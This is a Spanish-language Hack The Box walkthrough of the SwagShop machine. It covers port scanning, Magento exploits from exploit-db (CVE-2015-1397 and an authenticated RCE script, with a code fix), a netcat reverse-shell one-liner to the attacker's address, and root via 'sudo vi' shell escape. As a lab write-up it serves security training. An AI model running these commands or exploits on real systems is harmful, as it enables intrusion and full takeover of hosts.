En este post voy a vulnerar la máquina SwagShop de Hack The Box. Es una máquina Linux, de nivel fácil, pero que realmente es muy fácil de resolver, y está basada en Remote Code Execution (RCE) y permisos de sudo.
Enumeración
Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.
nmap -p- -n --open --min-rate 5000 10.10.10.140

En la máquina hay dos puertos abiertos. Escaneo los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p22,80 -sCV 10.10.10.140 Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-11 17:06 CEST Nmap scan report for 10.10.10.140 Host is up (0.12s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA) | 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA) |_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Did not follow redirect to http://swagshop.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.28 seconds

HTTP
Como en la salida de nmap me muestra el dominio swagshop.htb lo añado al /etc/hosts y entro en la web.

La web ya me indica que está hecha con el CMS Magento así que busco vulnerabilidades en exploit-db y encuentro esta, registrada como CVE-2015-1397, que crea unas credenciales con las que autenticarme.

Explotación
Me dirijo a su pantalla de autenticación y descubro que está en http://swagshop.htb/index.php/admin por lo que tengo que modificar el campo target del exploit.


Simplemente ejecuto el exploit y crea unas credenciales con las que autenticarme.


Volviendo a repasar la lista de exploit-db, justo encima encuentro una vulnerabilidad de Authenticated RCE.

El exploit falla al ejecutarlo pero después de un rato buscando por google encuentro como arreglar.


Solamente hay que cambiar una parte del código.
#br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.
#br.form.fixup()
#br['login[username]'] = username
#br['login[password]'] = password
userone = br.find_control(name="login[username]", nr=0)
userone.value = username
pwone = br.find_control(name="login[password]", nr=0)
pwone.value = password

Ejecuto un par de comandos y compruebo que el exploit funciona.
python 37811.py http://swagshop.htb/index.php/admin "uname -a" python 37811.py http://swagshop.htb/index.php/admin "whoami"

Ahora que ya puedo ejecutar comandos en la máquina víctima, voy a conseguir una shell reversa. Primero pongo un netcat a la escucha por el puerto 443 y después ejecuto el siguiente comando:
python 37811.py http://swagshop.htb/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 443 >/tmp/f"


Esta shell requiere un tratamiento de la tty. Al final del post indico los comandos para hacerlo manualmente pero yo he utilizado mi script (que se puede encontrar en mi github) para hacerlo de forma automática.
La flag de usuario la encuentro en /home/haris/user.txt.

Escalada de Privilegios
Ejecuto un sudo -l para enumerar los privilegios de root (los comandos de root) que puedo ejecutar y encuentro que puedo ejecutar que puedo ejecutar vi como root sin necesidad de contraseña dentro del directorio /var/www/html.

Busco en GTFOBins y encuentro una forma de elevar privilegios con este comando. Ejecuto el siguiente comando y me convierto en root.
sudo /usr/bin/vi /var/www/html/test -c ':!/bin/bash'

La flag de root la encuentro en la ruta /root/root.txt.

tty
Como ya he dicho anteriormente en otros post, para que la máquina esté resuelta de modo OSCP Friendly, es necesario conseguir una shell tty. Con los siguientes comandos consigo convertir la shell en shell tty en fácilmente.
script /dev/null -c bash ^Z
CTRL + Z
Ahora sin cambiar de consola.
stty raw -echo; fg reset
Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.
xterm export TERM=xterm export SHELL=bash
Y ya he conseguido una consola tty.
Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.
stty size
Y las modifico en la shell reversa.
stty rows [X] columns [Y]
